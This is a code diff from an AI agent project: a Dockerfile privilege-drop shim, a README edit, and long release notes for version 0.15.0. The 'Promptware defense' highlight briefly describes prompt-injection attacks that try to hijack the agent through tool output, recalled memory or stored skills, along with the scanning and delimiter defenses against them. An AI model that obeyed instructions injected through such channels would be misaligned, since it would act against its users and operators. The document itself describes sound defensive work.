+# `docker exec <c> hermes ...` they default to root, and any file the
+# command writes under $HERMES_HOME (auth.json, .env, config.yaml) ends
+# up root-owned and unreadable to the supervised gateway (UID 10000).
+# The shim lives at /opt/hermes/bin/hermes, sits earliest on PATH, and
+# transparently re-exec's the real venv binary via `s6-setuidgid hermes`
+# when invoked as root. Non-root callers (supervised processes,
+# `--user hermes`, etc.) hit the short-circuit path with no overhead.
+# Recursion is impossible because the shim exec's the venv binary by
+# absolute path (/opt/hermes/.venv/bin/hermes). See the shim source for
+# the opt-out env var (HERMES_DOCKER_EXEC_AS_ROOT=1).
+COPY --chmod=0755 docker/hermes-exec-shim.sh /opt/hermes/bin/hermes
+
 # Pre-s6 entrypoint.sh did `source .venv/bin/activate` which exported
 # the venv bin onto PATH; Architecture B's main-wrapper.sh does the
 # same for the container's main process, but `docker exec` and our
 # cont-init.d scripts don't pass through the wrapper. Expose the venv
 # bin globally so `docker exec <container> hermes ...` and any
 # subprocess that doesn't activate the venv first still find hermes.
-ENV PATH="/opt/hermes/.venv/bin:/opt/data/.local/bin:${PATH}"
+#
+# /opt/hermes/bin is prepended ahead of the venv so the privilege-drop
+# shim wins PATH resolution. The shim's last act is to exec the venv
+# binary by absolute path, so this PATH ordering is transparent to
+# every other consumer.
+ENV PATH="/opt/hermes/bin:/opt/hermes/.venv/bin:/opt/data/.local/bin:${PATH}"
 RUN mkdir -p /opt/data
 VOLUME [ "/opt/data" ]
 

README.md

@@ -22,7 +22,7 @@ Use any model you want — [Nous Portal](https://portal.nousresearch.com), [Open
 <tr><td><b>A closed learning loop</b></td><td>Agent-curated memory with periodic nudges. Autonomous skill creation after complex tasks. Skills self-improve during use. FTS5 session search with LLM summarization for cross-session recall. <a href="https://github.com/plastic-labs/honcho">Honcho</a> dialectic user modeling. Compatible with the <a href="https://agentskills.io">agentskills.io</a> open standard.</td></tr>
 <tr><td><b>Scheduled automations</b></td><td>Built-in cron scheduler with delivery to any platform. Daily reports, nightly backups, weekly audits — all in natural language, running unattended.</td></tr>
 <tr><td><b>Delegates and parallelizes</b></td><td>Spawn isolated subagents for parallel workstreams. Write Python scripts that call tools via RPC, collapsing multi-step pipelines into zero-context-cost turns.</td></tr>
-<tr><td><b>Runs anywhere, not just your laptop</b></td><td>Seven terminal backends — local, Docker, SSH, Singularity, Modal, Daytona, and Vercel Sandbox. Daytona and Modal offer serverless persistence — your agent's environment hibernates when idle and wakes on demand, costing nearly nothing between sessions. Run it on a $5 VPS or a GPU cluster.</td></tr>
+<tr><td><b>Runs anywhere, not just your laptop</b></td><td>Six terminal backends — local, Docker, SSH, Singularity, Modal, and Daytona. Daytona and Modal offer serverless persistence — your agent's environment hibernates when idle and wakes on demand, costing nearly nothing between sessions. Run it on a $5 VPS or a GPU cluster.</td></tr>
 <tr><td><b>Research-ready</b></td><td>Batch trajectory generation, trajectory compression for training the next generation of tool-calling models.</td></tr>
 </table>
 

RELEASE_v0.15.0.md

@@ -0,0 +1,651 @@
+# Hermes Agent v0.15.0 (v2026.5.28)
+
+**Release Date:** May 28, 2026
+**Since v0.14.0:** 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)
+
+> **The Velocity Release.** Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line `run_agent.py` collapses to 3,821 (-76%) across 14 cohesive `agent/*` modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, `hermes --version` flipping the head-to-head benchmark against Codex CLI. `session_search` is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth `hermes proxy` upstream, retired-May-15 model detection + `hermes migrate xai`, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.
+
+---
+
+## ✨ Highlights
+
+- **The Big Refactor — `run_agent.py` is no longer 16,000 lines** — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under `agent/`. Behavior is unchanged: every extraction keeps a thin forwarder on `AIAgent`, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. ([#27248](https://github.com/NousResearch/hermes-agent/pull/27248))
+
+- **Kanban grew into a real multi-agent platform — 104 PRs end to end** — Triage auto-decomposes one task into a tree of sub-tasks. `hermes kanban swarm` creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through `/workers/active`, `/runs/{id}`, and `/inspect` endpoints. ([#27572](https://github.com/NousResearch/hermes-agent/pull/27572), [#28443](https://github.com/NousResearch/hermes-agent/pull/28443), [#28364](https://github.com/NousResearch/hermes-agent/pull/28364), [#28394](https://github.com/NousResearch/hermes-agent/pull/28394), [#28462](https://github.com/NousResearch/hermes-agent/pull/28462), [#28384](https://github.com/NousResearch/hermes-agent/pull/28384), [#28467](https://github.com/NousResearch/hermes-agent/pull/28467), [#28455](https://github.com/NousResearch/hermes-agent/pull/28455), [#28452](https://github.com/NousResearch/hermes-agent/pull/28452), [#28432](https://github.com/NousResearch/hermes-agent/pull/28432), [#28468](https://github.com/NousResearch/hermes-agent/pull/28468), [#28420](https://github.com/NousResearch/hermes-agent/pull/28420))
+
+- **Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls** — Three new optimization rounds: defer `openai._base_client` import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. `hermes --version` cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. ([#28864](https://github.com/NousResearch/hermes-agent/pull/28864), [#28866](https://github.com/NousResearch/hermes-agent/pull/28866), [#28957](https://github.com/NousResearch/hermes-agent/pull/28957), [#29006](https://github.com/NousResearch/hermes-agent/pull/29006), [#29419](https://github.com/NousResearch/hermes-agent/pull/29419), [#30121](https://github.com/NousResearch/hermes-agent/pull/30121), [#30609](https://github.com/NousResearch/hermes-agent/pull/30609), [#31968](https://github.com/NousResearch/hermes-agent/pull/31968))
+
+- **`session_search` rebuilt — no LLM, no cost, 4,500× faster** — The old `session_search` was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no `mode` parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. ([#27590](https://github.com/NousResearch/hermes-agent/pull/27590))
+
+- **Promptware defense — Brainworm-class attacks blocked at three chokepoints** — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (`tools/threat_patterns.py`) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new `security-guidance` plugin that pattern-matches dangerous code writes. ([#32269](https://github.com/NousResearch/hermes-agent/pull/32269), [#33131](https://github.com/NousResearch/hermes-agent/pull/33131), [#9151](https://github.com/NousResearch/hermes-agent/pull/9151))
+
+- **Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key** — Stop keeping plaintext API keys in `~/.hermes/.env`. Install Bitwarden Secrets Manager (`bws` auto-installs lazily on first use), point Hermes at it with one bootstrap token (`BWS_ACCESS_TOKEN`), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip `secrets.bitwarden.override_existing: false` to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. ([#30035](https://github.com/NousResearch/hermes-agent/pull/30035), [#31378](https://github.com/NousResearch/hermes-agent/pull/31378), [#30364](https://github.com/NousResearch/hermes-agent/pull/30364))
+
+- **ntfy as the 23rd messaging platform — push notifications without an account** — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat `send_message` — to your phone, your watch, your desktop, your homelab. (salvages [#30625](https://github.com/NousResearch/hermes-agent/pull/30625) → originally [#4043](https://github.com/NousResearch/hermes-agent/pull/4043)) ([#30867](https://github.com/NousResearch/hermes-agent/pull/30867))
+
+- **Skill bundles — `/<name>` loads multiple skills at once** — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and `/writing-day` activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: `code-wiki` (Karpathy's LLM-Wiki, persistent indexed dev wiki), `openhands` (delegate to OpenHands for parallel coding agents), and `web-pentest` (OWASP-style web pentest recipes). ([#28373](https://github.com/NousResearch/hermes-agent/pull/28373), [#32345](https://github.com/NousResearch/hermes-agent/pull/32345), [#32240](https://github.com/NousResearch/hermes-agent/pull/32240), [#32261](https://github.com/NousResearch/hermes-agent/pull/32261), [#32265](https://github.com/NousResearch/hermes-agent/pull/32265))
+
+- **TUI session orchestrator — multiple live sessions in one TUI window** — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages [#27642](https://github.com/NousResearch/hermes-agent/pull/27642)) ([#32980](https://github.com/NousResearch/hermes-agent/pull/32980), [#30084](https://github.com/NousResearch/hermes-agent/pull/30084))
+
+- **Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin** — Krea joins the image_gen lineup as a built-in plugin: `Krea 2 Medium` ($0.03) and `Krea 2 Large` ($0.06), auto-discovered, selectable via `hermes tools` → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into `plugins/image_gen/fal/`, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. ([#33236](https://github.com/NousResearch/hermes-agent/pull/33236), [#30380](https://github.com/NousResearch/hermes-agent/pull/30380), [#33506](https://github.com/NousResearch/hermes-agent/pull/33506))
+
+- **Nous-approved MCP catalog with interactive picker** — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run `hermes mcp` and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to `~/.hermes/.env`. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. ([#30870](https://github.com/NousResearch/hermes-agent/pull/30870))
+
+- **OpenHands orchestration skill** — A new optional skill under `optional-skills/autonomous-ai-agents/openhands/` lets the agent delegate coding tasks to the OpenHands CLI alongside `claude-code`, `codex`, and `opencode`. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and `/delegate` flows. (closes [#477](https://github.com/NousResearch/hermes-agent/issues/477)) ([#32261](https://github.com/NousResearch/hermes-agent/pull/32261))
+
+- **Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening** — Six interlocking xAI improvements:
+    - **xAI Web Search** lands as a `plugins/web/xai/` provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or `XAI_API_KEY` credentials, no new env vars. ([#29042](https://github.com/NousResearch/hermes-agent/pull/29042))
+    - **`hermes proxy` gains an xAI upstream** — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. ([#28356](https://github.com/NousResearch/hermes-agent/pull/28356))
+    - **May 15 model retirement detection** — `grok-4`, `grok-4-fast{,-reasoning,-non-reasoning}`, `grok-3`, `grok-code-fast-1`, `grok-imagine-image-pro` etc. are detected in doctor and chat startup, with `hermes migrate xai` to one-shot config migration to the supported model. No more silent 404s after the retirement date. ([#29277](https://github.com/NousResearch/hermes-agent/pull/29277))
+    - **Opt-in `auto_speech_tags`** for xAI TTS — inserts light `[pause]` tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. ([#29376](https://github.com/NousResearch/hermes-agent/pull/29376))
+    - **`xai-oauth` `base_url` pinned to `x.ai` origin** — closes a silent credential-leak vector where `XAI_BASE_URL` could repoint OAuth-authenticated inference to an attacker-controlled host. ([#28952](https://github.com/NousResearch/hermes-agent/pull/28952))
+    - **OpenAI-style execution guidance applied to Grok models** — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. ([#27797](https://github.com/NousResearch/hermes-agent/pull/27797))
+    - Plus `x_search` degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE `code_challenge` round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and `WKE=unauthenticated` honor at both classifier sites. ([#29484](https://github.com/NousResearch/hermes-agent/pull/29484), [#28351](https://github.com/NousResearch/hermes-agent/pull/28351), [#27560](https://github.com/NousResearch/hermes-agent/pull/27560), [#28116](https://github.com/NousResearch/hermes-agent/pull/28116), [#30619](https://github.com/NousResearch/hermes-agent/pull/30619), [#30872](https://github.com/NousResearch/hermes-agent/pull/30872))
+
+---
+
+## 🏗️ Core Agent & Architecture
+
+### The Big Refactor — `run_agent.py` 16k → 3.8k
+
+- `run_agent.py` from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive `agent/*` modules. `run_conversation` alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on `AIAgent`, every test-patch path is preserved, every external caller stays compatible. ([#27248](https://github.com/NousResearch/hermes-agent/pull/27248))
+
+### Agent loop & conversation
+
+- Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages [#26811](https://github.com/NousResearch/hermes-agent/pull/26811) + [#26998](https://github.com/NousResearch/hermes-agent/pull/26998)) ([#27625](https://github.com/NousResearch/hermes-agent/pull/27625))
+- Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). ([#33816](https://github.com/NousResearch/hermes-agent/pull/33816))
+- Host contract for external context engines — condenses 5 prior PRs into one extension surface. ([#33750](https://github.com/NousResearch/hermes-agent/pull/33750))
+- Fallback immediately on provider content-policy blocks. ([#33883](https://github.com/NousResearch/hermes-agent/pull/33883))
+- Re-pad `reasoning_content` on cross-provider fallback to require-side providers. (salvage [#33784](https://github.com/NousResearch/hermes-agent/pull/33784)) ([#33795](https://github.com/NousResearch/hermes-agent/pull/33795))
+- Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. ([#32273](https://github.com/NousResearch/hermes-agent/pull/32273))
+- Single-knob native vision for custom-provider models. ([#29679](https://github.com/NousResearch/hermes-agent/pull/29679))
+- Background review fork isolated from external memory plugins. ([#27190](https://github.com/NousResearch/hermes-agent/pull/27190))
+- Background review inherits parent toolset config for `tools[]` cache parity. ([#29704](https://github.com/NousResearch/hermes-agent/pull/29704))
+- Recover from providers returning list-type tool content. ([#30259](https://github.com/NousResearch/hermes-agent/pull/30259))
+- Treat partial-stream stub responses as length truncation rather than clean stop. ([#30998](https://github.com/NousResearch/hermes-agent/pull/30998))
+- OpenAI execution guidance applied to xAI Grok / xai-oauth. ([#27797](https://github.com/NousResearch/hermes-agent/pull/27797))
+- ContextVars propagate to concurrent tool worker threads.
+- Preload `jiter` native parser. ([#33692](https://github.com/NousResearch/hermes-agent/pull/33692))
+- Expose context engine tools with saved toolsets. (salvage of [#31194](https://github.com/NousResearch/hermes-agent/pull/31194)) ([#33719](https://github.com/NousResearch/hermes-agent/pull/33719))
+
+### Sessions & memory
+
+- `session_search` rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. ([#27590](https://github.com/NousResearch/hermes-agent/pull/27590))
+- Salvage [#29182](https://github.com/NousResearch/hermes-agent/pull/29182) — opt-in JSON snapshot writer for sessions. ([#29278](https://github.com/NousResearch/hermes-agent/pull/29278))
+- Persist `platform_message_id` for recall across gateway restarts. ([#29449](https://github.com/NousResearch/hermes-agent/pull/29449))
+- Inline memory-context mentions stay visible in conversation. ([#28132](https://github.com/NousResearch/hermes-agent/pull/28132))
+- Recalled memory labeled informational, not authoritative. ([#28583](https://github.com/NousResearch/hermes-agent/pull/28583))
+- Memory + context-engine tool injection gated on `enabled_toolsets`. ([#30177](https://github.com/NousResearch/hermes-agent/pull/30177))
+- Guard against external drift in `MEMORY.md` / `USER.md`. ([#30877](https://github.com/NousResearch/hermes-agent/pull/30877))
+- Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. ([#30077](https://github.com/NousResearch/hermes-agent/pull/30077))
+- Periodic memory logging for leak detection. (salvage of [#17667](https://github.com/NousResearch/hermes-agent/pull/17667)) ([#27102](https://github.com/NousResearch/hermes-agent/pull/27102))
+
+### Codex / Responses-API maturation
+
+- TTFB watchdog for stalled Codex Responses streams. ([#32042](https://github.com/NousResearch/hermes-agent/pull/32042))
+- Actionable hint when stale-call detector fires on known silent-reject pattern. ([#32016](https://github.com/NousResearch/hermes-agent/pull/32016), [#33133](https://github.com/NousResearch/hermes-agent/pull/33133))
+- Drop SDK `responses.stream()` helper; consume events directly. ([#33042](https://github.com/NousResearch/hermes-agent/pull/33042))
+- Gracefully recover from `invalid_encrypted_content`. (salvage of [#10144](https://github.com/NousResearch/hermes-agent/pull/10144)) ([#33035](https://github.com/NousResearch/hermes-agent/pull/33035))
+- Recover Codex Responses streams with null output. ([#32963](https://github.com/NousResearch/hermes-agent/pull/32963), [#33390](https://github.com/NousResearch/hermes-agent/pull/33390))
+- Drop foreign-issuer reasoning and transient `rs_tmp` reasoning replay state. ([#33156](https://github.com/NousResearch/hermes-agent/pull/33156), [#33146](https://github.com/NousResearch/hermes-agent/pull/33146))
+- Codex 429 quota classified as rate-limit, not missing credentials. ([#33168](https://github.com/NousResearch/hermes-agent/pull/33168))
+- Codex chat path falls back to credential_pool when singleton is empty. ([#33189](https://github.com/NousResearch/hermes-agent/pull/33189))
+- Codex re-auth syncs credential_pool. ([#33164](https://github.com/NousResearch/hermes-agent/pull/33164))
+- Omit `tools` key when no tools registered. ([#33409](https://github.com/NousResearch/hermes-agent/pull/33409))
+- Parse Codex image-generation SSE directly. ([#32933](https://github.com/NousResearch/hermes-agent/pull/32933))
+
+---
+
+## 🎛️ Kanban — Multi-Agent Maturation Wave
+
+### Orchestration & dispatch
+
+- Orchestrator-driven auto-decomposition on triage. ([#27572](https://github.com/NousResearch/hermes-agent/pull/27572))
+- Kanban swarm topology helper — `hermes kanban swarm` creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages [#26791](https://github.com/NousResearch/hermes-agent/pull/26791) by @Niraven) ([#28443](https://github.com/NousResearch/hermes-agent/pull/28443))
+- Dispatcher wires review agents from the review column. ([#28449](https://github.com/NousResearch/hermes-agent/pull/28449))
+- Stale-detection for running tasks in dispatcher. ([#28452](https://github.com/NousResearch/hermes-agent/pull/28452))
+- Respawn guard blocks repeat worker storms. ([#28455](https://github.com/NousResearch/hermes-agent/pull/28455))
+- Respawn guard defers `blocker_auth` instead of auto-blocking. ([#28683](https://github.com/NousResearch/hermes-agent/pull/28683))
+- Cross-profile cron jobs surface in dashboard. ([#28457](https://github.com/NousResearch/hermes-agent/pull/28457))
+- Worker visibility endpoints: `/workers/active`, `/runs/{id}`, `/inspect`. (salvages [#23761](https://github.com/NousResearch/hermes-agent/pull/23761) by @Interstellar-code) ([#28432](https://github.com/NousResearch/hermes-agent/pull/28432))
+
+### Task configuration & scheduling
+
+- Per-task model override. ([#28364](https://github.com/NousResearch/hermes-agent/pull/28364))
+- Board-level default workdir. ([#28394](https://github.com/NousResearch/hermes-agent/pull/28394))
+- Configurable worktree paths and branches. ([#28462](https://github.com/NousResearch/hermes-agent/pull/28462))
+- Scheduled task start times. ([#28384](https://github.com/NousResearch/hermes-agent/pull/28384))
+- Scheduled status for delayed follow-ups. ([#28467](https://github.com/NousResearch/hermes-agent/pull/28467))
+- Trimmed task comments. ([#28399](https://github.com/NousResearch/hermes-agent/pull/28399))
+- Initial-status for human-ops cards. ([#28414](https://github.com/NousResearch/hermes-agent/pull/28414))
+- `max_in_progress` config to cap concurrent running tasks. ([#28420](https://github.com/NousResearch/hermes-agent/pull/28420))
+- Filter tasks by workflow fields. ([#28454](https://github.com/NousResearch/hermes-agent/pull/28454))
+- `--sort` for `hermes kanban list`. ([#28427](https://github.com/NousResearch/hermes-agent/pull/28427))
+- Optional `board` parameter on all MCP tools. ([#28444](https://github.com/NousResearch/hermes-agent/pull/28444))
+- Stamp originating ACP session_id on tasks. ([#28447](https://github.com/NousResearch/hermes-agent/pull/28447))
+- `auto_promote_children` config toggle. ([#28344](https://github.com/NousResearch/hermes-agent/pull/28344))
+- `archive --rm` to hard-delete archived tasks. ([#28355](https://github.com/NousResearch/hermes-agent/pull/28355))
+- Promote dependents when parent is archived. ([#28372](https://github.com/NousResearch/hermes-agent/pull/28372))
+- Promote blocked tasks when parent dependencies complete. ([#28377](https://github.com/NousResearch/hermes-agent/pull/28377))
+- Demote ready children when parent is reopened. ([#28382](https://github.com/NousResearch/hermes-agent/pull/28382))
+- `promote` verb for manual `todo→ready` recovery + bulk `--ids`. (salvage [#29464](https://github.com/NousResearch/hermes-agent/pull/29464)) ([#31334](https://github.com/NousResearch/hermes-agent/pull/31334))
+
+### Dashboard
+
+- Drag-to-delete trash zone + bulk delete. ([#28468](https://github.com/NousResearch/hermes-agent/pull/28468))
+- Surface per-task `model_override` in show + tool output. ([#28442](https://github.com/NousResearch/hermes-agent/pull/28442))
+- Cross-profile notification delivery via `kanban.notification_sources`. ([#28395](https://github.com/NousResearch/hermes-agent/pull/28395))
+- Scratch-workspace deletion warning for users. ([#30949](https://github.com/NousResearch/hermes-agent/pull/30949))
+- Mobile dashboard UX polish. ([#28127](https://github.com/NousResearch/hermes-agent/pull/28127))
+
+### Reliability
+
+- Worker log retention configurable. ([#27867](https://github.com/NousResearch/hermes-agent/pull/27867))
+- Configurable claim TTL. ([#28392](https://github.com/NousResearch/hermes-agent/pull/28392))
+- Fingerprint crash errors to prevent fleet-wide retry exhaustion. ([#28380](https://github.com/NousResearch/hermes-agent/pull/28380))
+- Reset failure counters on `unblock_task`. ([#28379](https://github.com/NousResearch/hermes-agent/pull/28379))
+- Detect cycles in `decompose_triage_task` sibling-link pre-validation. ([#28088](https://github.com/NousResearch/hermes-agent/pull/28088))
+- Surface unusable triage auxiliary model (auto-decompose aware). ([#27871](https://github.com/NousResearch/hermes-agent/pull/27871))
+- Align failure diagnostics with retry limit. ([#27868](https://github.com/NousResearch/hermes-agent/pull/27868))
+- Align worker terminal timeout with task runtime. ([#27864](https://github.com/NousResearch/hermes-agent/pull/27864))
+- Auto-install bundled skills (kanban-worker) on init. ([#28368](https://github.com/NousResearch/hermes-agent/pull/28368))
+- Make legacy task migration idempotent. ([#28397](https://github.com/NousResearch/hermes-agent/pull/28397))
+- Serialize DB initialization. ([#28383](https://github.com/NousResearch/hermes-agent/pull/28383))
+- Persist worker session metadata on completion. ([#28387](https://github.com/NousResearch/hermes-agent/pull/28387))
+- Pass `accept-hooks` to worker chat subprocess. ([#28393](https://github.com/NousResearch/hermes-agent/pull/28393))
+- Preserve worker tools with restricted toolsets. ([#28396](https://github.com/NousResearch/hermes-agent/pull/28396))
+- Avoid unsafe Windows worker Hermes shim resolution. ([#28398](https://github.com/NousResearch/hermes-agent/pull/28398))
+- Sync slash subcommands with live parser. ([#28376](https://github.com/NousResearch/hermes-agent/pull/28376))
+- Show scheduled kanban tasks in dashboard. ([#28400](https://github.com/NousResearch/hermes-agent/pull/28400))
+- Assign single-task kanban decompositions. ([#28401](https://github.com/NousResearch/hermes-agent/pull/28401))
+- Configurable `max_tokens` for kanban specify. ([#28374](https://github.com/NousResearch/hermes-agent/pull/28374))
+- Per-job profile support for cron. ([#28124](https://github.com/NousResearch/hermes-agent/pull/28124))
+- Codex app-server: include every Kanban-pinned path in `writable_roots`. ([#28435](https://github.com/NousResearch/hermes-agent/pull/28435))
+- Cache kanban worker guidance at session init for prompt-cache reuse. ([#28425](https://github.com/NousResearch/hermes-agent/pull/28425))
+
+---
+
+## ⚡ Performance
+
+- `openai._base_client` import deferred — 240ms / 17MB off every CLI cold start. ([#28864](https://github.com/NousResearch/hermes-agent/pull/28864))
+- Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). ([#28866](https://github.com/NousResearch/hermes-agent/pull/28866))
+- Compression-feasibility check deferred — 170-290ms off every agent construction. ([#28957](https://github.com/NousResearch/hermes-agent/pull/28957))
+- Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. ([#29006](https://github.com/NousResearch/hermes-agent/pull/29006))
+- Termux TUI cold start speedup. ([#29419](https://github.com/NousResearch/hermes-agent/pull/29419))
+- Termux non-TUI cold start speedup. (salvage [#29438](https://github.com/NousResearch/hermes-agent/pull/29438)) ([#30121](https://github.com/NousResearch/hermes-agent/pull/30121))
+- Termux fast-path version + deferred bare-prompt agent startup. ([#30609](https://github.com/NousResearch/hermes-agent/pull/30609))
+- Cut hermes `--version` wall time 63% — flips head-to-head vs Codex CLI. ([#31968](https://github.com/NousResearch/hermes-agent/pull/31968))
+- Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. ([#27675](https://github.com/NousResearch/hermes-agent/pull/27675))
+- Cache kanban worker guidance at session init for prompt-cache reuse. ([#28425](https://github.com/NousResearch/hermes-agent/pull/28425))
+
+---
+
+## 🔧 Tool System
+
+### Tool surface
+
+- `patch`: indent preservation, CRLF preservation, per-file failure escalation. ([#32273](https://github.com/NousResearch/hermes-agent/pull/32273))
+- `terminal`: warn at call time when `background=true` runs silently. ([#31289](https://github.com/NousResearch/hermes-agent/pull/31289))
+- `terminal`: nudge homebrewed CI pollers at the tool surface. ([#33142](https://github.com/NousResearch/hermes-agent/pull/33142))
+- `x_search`: surface degraded results + validate dates. ([#29484](https://github.com/NousResearch/hermes-agent/pull/29484))
+- `x_search`: auto-enable toolset when xAI credentials are configured. ([#27376](https://github.com/NousResearch/hermes-agent/pull/27376))
+- `computer_use`: route SOM/vision captures via auxiliary.vision. ([#30126](https://github.com/NousResearch/hermes-agent/pull/30126))
+- `transcription`: reject symlinked audio inputs. ([#10082](https://github.com/NousResearch/hermes-agent/pull/10082))
+- TTS: prevent double `[pause]` in xAI auto speech tags. ([#32237](https://github.com/NousResearch/hermes-agent/pull/32237))
+- TTS: preserve native audio outside Telegram voice delivery. ([#28512](https://github.com/NousResearch/hermes-agent/pull/28512))
+- TTS: opt-in xAI `auto_speech_tags` speech-tag pauses for natural voice replies. ([#29376](https://github.com/NousResearch/hermes-agent/pull/29376))
+- Voice: chunk oversized CLI recordings. ([#30044](https://github.com/NousResearch/hermes-agent/pull/30044))
+- Voice: honor `PULSE_SERVER` / `PIPEWIRE_REMOTE` inside Docker. ([#22534](https://github.com/NousResearch/hermes-agent/pull/22534))
+
+### Browser
+
+- All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages [#25580](https://github.com/NousResearch/hermes-agent/pull/25580)) ([#27403](https://github.com/NousResearch/hermes-agent/pull/27403))
+- Auto-launch Chromium-family browser for CDP. ([#29106](https://github.com/NousResearch/hermes-agent/pull/29106))
+- Docker: discover agent-browser Chromium binary at boot. ([#33184](https://github.com/NousResearch/hermes-agent/pull/33184))
+
+### Image generation
+
+- **Krea** provider plugin (Krea 2 Medium + Large). ([#33236](https://github.com/NousResearch/hermes-agent/pull/33236))
+- FAL backend ported to `plugins/image_gen/fal`. (salvage [#27966](https://github.com/NousResearch/hermes-agent/pull/27966)) ([#30380](https://github.com/NousResearch/hermes-agent/pull/30380))
+- Cache xAI ephemeral URL responses to disk. ([#31759](https://github.com/NousResearch/hermes-agent/pull/31759))
+
+### Web search
+
+- **xAI Web Search** as a provider plugin. ([#29042](https://github.com/NousResearch/hermes-agent/pull/29042))
+
+### MCP
+
+- **Nous-approved MCP catalog** with interactive picker. ([#30870](https://github.com/NousResearch/hermes-agent/pull/30870))
+- **TLS client certificate (mTLS) support** for HTTP and SSE MCP servers. ([#33721](https://github.com/NousResearch/hermes-agent/pull/33721))
+- Stdin paste-back fallback for headless OAuth flow. ([#32053](https://github.com/NousResearch/hermes-agent/pull/32053))
